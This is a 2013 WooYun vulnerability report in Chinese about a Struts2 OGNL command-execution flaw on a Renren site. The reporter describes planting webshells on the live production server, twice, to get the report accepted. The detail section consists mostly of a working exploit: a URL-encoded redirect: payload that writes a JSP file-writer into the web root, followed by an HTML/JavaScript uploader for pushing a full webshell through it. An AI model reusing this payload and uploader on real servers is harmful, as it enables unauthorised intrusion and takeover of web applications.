漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-031026
漏洞标题:人人网某站点Struts2命令执行漏洞
相关厂商:人人网
漏洞作者: sfsgfr
提交时间:2013-07-18 18:19
修复时间:2013-09-01 18:20
公开时间:2013-09-01 18:20
漏洞类型:命令执行
危害等级:中
自评Rank:8
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-07-18: 细节已通知厂商并且等待厂商处理中
2013-07-19: 厂商已经确认,细节仅向厂商公开
2013-07-29: 细节向核心白帽子及相关领域专家公开
2013-08-08: 细节向普通白帽子公开
2013-08-18: 细节向实习白帽子公开
2013-09-01: 细节向公众公开
简要描述:
电话联系人人网,客服说让我在意见反馈地方提交,没见过这样的,我懒得提交,提交给乌云,乌云第一次不通过,好吧,听了朋友的建议,上个SHELL再提交,刚上个马,刚提交不到5分钟,回复说人人网已修复,晕,不带这样的,好吧,我再上个SHELL,再提交一次,如果不通过,以后再也不提交了,问题描述:在struts2中,DefaultActionMapper类支持以”action:”、”redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
详细说明:
漏洞地址:http://i.renren.com/index.action
利用过程:在漏洞网址.action后面添加利用语句
?redirect:${
%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\",
"/"),
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()
}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
之后会在网站根目录生成css3.jsp
然后用这个连接的客户端去写大马。
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>人人网</title>
</head>
<style>
.main{width:980px;height:600px;margin:0 auto;}
.url{width:300px;}
.fn{width:60px;}
.content{width:80%;height:60%;}
</style>
<script>
function upload(){
var url = document.getElementById('url').value,
content = document.getElementById('content').value,
fileName = document.getElementById('fn').value,
form = document.getElementById('fm');
if(url.length == 0){
alert("Url not allowd empty!");
return ;
}
if(content.length == 0){
alert("Content not allowd empty!");
return ;
}
if(fileName.length == 0){
alert("FileName not allowd empty!");
return ;
}
form.action = url;
form.submit();
}
</script>
<body>
<div class="main">
<form id="fm" method="post">
URL:<input type="text" value="http://localhost/Struts2/css3.jsp"
class="url" id="url" />
FileName:<input type="text" name="f" value="css.jsp" class="fn"
id="fn" />
<a href="javascript:upload();">Upload</a><br/>
<textarea id="content" class="content" name="t" ></textarea>
</form>
</div>
</body>
</html>
漏洞证明:
修复方案:
官方已出补丁,修补即可
版权声明:转载请注明来源 sfsgfr@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2013-07-19 00:09
厂商回复:
感谢!
最新状态:
暂无